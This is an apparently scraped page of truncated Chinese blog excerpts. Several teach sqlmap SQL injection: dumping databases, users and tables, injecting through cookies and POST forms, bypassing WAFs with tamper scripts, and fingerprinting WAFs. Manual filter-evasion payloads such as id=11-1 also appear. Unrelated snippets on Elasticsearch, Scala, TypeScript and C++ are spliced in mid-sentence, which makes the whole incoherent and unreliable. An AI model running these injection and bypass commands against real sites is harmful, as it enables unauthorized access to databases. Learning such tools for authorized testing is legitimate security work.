命令: ┌─[root@sch01ar]─[~] └──╼ #sqlmap -u "http://www.sch01ar.com/" --identify-waf --batch 运行结果 如果使用的 WAF 没有什么特征,Sqlmap 识别出来的类型会是 Generic (Unknown) 在 Sqlmap 的安装目录下的 waf 目录中存放着相关的 waf 识别规则,可以自己添加新的 waf 识别规则

分类: https://blog.csdn.net/whatday/article/details/54774043 详细介绍: https://blog.csdn.net/qq_34444097/article/details/82717357

Sqlmap自动注入(二) Request ################################################### #inurl:.php?id= 1. 数据段:--data Get/post都使用 [POST方法]Sqlmap -u "http://1.1.1.1/a.php" --data="user=1&pass=2" –f #sqlmap可自动识别"&" [GET方法]Sqlmap –u &

用法 Usage: python sqlmap.py [options] Options: -h, --help Show basic help message and exit -hh Show advanced help message and exit --version Show program's version number and exit -v VERBOSE Verbosity level: 0-6 (default 1) Target: At least one of the

Sqlmap中文手册  -Darren制作 零.前言 Sqlmap是十分著名的.自动化的SQL注入工具.为了较为系统地学习Sqlmap,我决定翻译一遍Sqlmap的用户手册,于是便有了此文.由于我英语学得很差,所以翻译地不好.基本上是意译,还加入了我自己的东西,和原文有较大差距. 一.Sqlmap是什么 Sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点: 完全支持MySQL.Oracle.PostgreSQL.Microsoft SQL Server.Microsoft

转自:http://blog.csdn.net/zsf1235/article/details/50974194 本人小白,初次认识sqlmap,很多都是转载资料,只是学习研究一下! 练习的网站可以用谷歌搜一下:   cookie注入:sqlmap.py -u 注入点 --cookie "参数" --tables --level 2 POST登录框注入:sqlmap.py -r 从文件读取数据 -p 指定的参数 --tables                sqlmap.py -u

Web应用防护系统(也称:网站应用级入侵防御系统.英文:Web Application Firewall,简称: WAF).利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品.本文介绍了常见的WAF指纹识别的一些技术,详见如下: WAF指纹 Cookie值 Citrix Netscaler “Citrix Netscaler”会在HTTP返回头部Cookie位置加入“ns_af”的值,可以以此判断为Citrix Net

[wafw00f]: 项目地址: https://github.com/sandrogauci/wafw00f WAFW00F是识别和指纹Web应用防火墙(WAF)产品,其工作原理是首先通过发送一个正常http请求,然后观察其返回有没有一些特征字符,若没有在通过发送一个恶意的请求触发waf拦截来获取其返回的特征来判断所使用的waf. 由于笔者写这篇文章时,虚拟机出现问题无法上网,所以在windows系统上进行了实验,linux系统的使用方法和windows上类似,就直接在windows上进行实验

Web应用防护系统(也称:网站应用级入侵防御系统.英文:Web Application Firewall,简称: WAF).利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品.本文介绍了常见的WAF指纹识别的一些技术,详见如下: WAF指纹 Cookie值 Citrix Netscaler “Citrix Netscaler”会在HTTP返回头部Cookie位置加入“ns_af”的值,可以以此判断为Citrix Net

1. 基础用法: 一下./sqlmap.py 在kali和backtrack中使用sqlmap的时候,直接用:sqlmap ./sqlmap.py -u “注入地址” -v 1 –dbs   // 列举数据库 ./sqlmap.py -u “注入地址” -v 1 –current-db   // 当前数据库 ./sqlmap.py -u “注入地址” -v 1 –users    // 列数据库用户 ./sqlmap.py -u “注入地址” -v 1 –current-user  // 当前用

cookie注入:sqlmap.py -u 注入点 --cookie "参数" --tables --level 2 POST登录框注入:sqlmap.py -r 从文件读取数据 -p 指定的参数 --tables sqlmap.py -u 登录的地址 --forms 自动判断注入 sqlmap.py -u 登录的地址 --data "指定参数" 绕过waf防火墙:sqlmap.py -u 注入点 -v 3 --dbs --batch --tamper space2

TIP1 当我们注射的时候,判断注入 http://site/script?id=10http://site/script?id=11-1 # 相当于 id=10http://site/script?id=(select 10) # 相当于 id=10 http://site/script?id=10 and 1=1 #失败 通过判断可发现and和or被过滤http://site/script?id=10– # 失败http://site/script?id=10;– #失败http://sit

本文转自:https://blog.werner.wiki/sqlmap-study-notes-0/ 感谢作者的整理,如有侵权,立删 零.前言 这篇文章是我学习Sqlmap的用法时做的笔记,记录了Sqlmap的常见.基础用法. 学习的主要方法是阅读官方手册(sqlmap/doc/README.pdf). 一.Sqlmap是什么 Sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点: 完全支持MySQL.Oracle.PostgreSQL.Microsoft SQL Ser

零.前言 这篇文章是学习Sqlmap的用法时做的笔记,记录了Sqlmap的常见.基础用法. 一.Sqlmap是什么 Sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点: 完全支持MySQL.Oracle.PostgreSQL.Microsoft SQL Server.Microsoft Access.IBM DB2.SQLite.Firebird.Sybase.SAP MaxDB.HSQLDB和Informix等多种数据库管理系统. 完全支持布尔型盲注.时间型盲注.基于错

使用Elasticsearch时,了解字段的概念,是必不可少的.毕竟无论是es还是传统的数据库,都无法弱化字段的类型. 背景知识 在Es中,字段的类型很关键: 在索引的时候,如果字段第一次出现,会自动识别某个类型,这种规则之前已经讲过了. 那么如果一个字段已经存在了,并且设置为某个类型.再来一条数据,字段的数据不与当前的类型相符,就会出现字段冲突的问题.如果发生了冲突,在2.x版本会自动拒绝. 如果自动映射无法满足需求,就需要使用者自己来设置映射类型,因此,就需要使用者了解ES中的类型. 下面就

 1.元组类型 (tuple) 元组就是多个元素的组合,是一个用圆括号括起来分号分隔的多个数据的一个集合体. 例如:定义一个学生变量,要求姓名 jim,年龄 19,性别 male 的元组变量为  //元组的显示定义. var stu(String,Int,String) = (name:"jim", age:19,gender: "male") //元组的隐式定义,隐式定义自动识别元素类型,stu的类型为(String,Int,String). var stu =

TypeScript的接口,个人理解就是一种约束,包括各种类型的契约或者代码定义上的契约.当然,和java中的用法基本一致,接口可以被继承也可以被实现. 定义一个简单的interface interface LabelledValue { label: string; } function printLabel(labelledValue: LabelledValue) { console.log(labelledValue.label); } let myLabel: LabelledValu

一.背景知识 在Es中,字段的类型很关键: 在索引的时候,如果字段第一次出现,会自动识别某个类型,这种规则之前已经讲过了. 那么如果一个字段已经存在了,并且设置为某个类型.再来一条数据,字段的数据不与当前的类型相符,就会出现字段冲突的问题.如果发生了冲突,在2.x版本会自动拒绝. 如果自动映射无法满足需求,就需要使用者自己来设置映射类型,因此,就需要使用者了解ES中的类型. 下面就步入正题吧! 二.字段中的索引和存储 其中需要说明的是: 1.index定义字段的分析类型以及检索方式 如果是no,

elasticsearch原生支持date类型.这里简单记录下使用的方法. 使用date类型可以用如下两种方式: 使用毫秒的时间戳,直接将毫秒值传入即可. 传入格式化的字符串,默认是ISO 8601标准,例如2015-02-27T00:07Z(零时区).2015-02-27T08:07+08:00(东八区),这两个时间实际是同一个,只是时区不同.另外还可以自定义时间格式,参见es的文档.但个人不建议使用自定义格式,设置不当容易遇到时区问题.在php中获取ISO 8601标准的时间很简单,date

c++11中引入了auto和decltype关键字实现类型推导,通过这两个关键字不仅能够方便的获取复杂的类型,而且还能简化书写,提高编码效率.     auto和decltype的类型推导都是编译器在编译的时候完成的,auto是通过定义auto变量时候给出的表达式的值推导出实际类型,并且在声明auto变量时必须马上初始化:decltype通过表达式的值推导出实际的类型,但是可以只声明变量,而不赋值. auto类型推导 1. auto推导 auto x = 5; //被编译器推导为int类型 au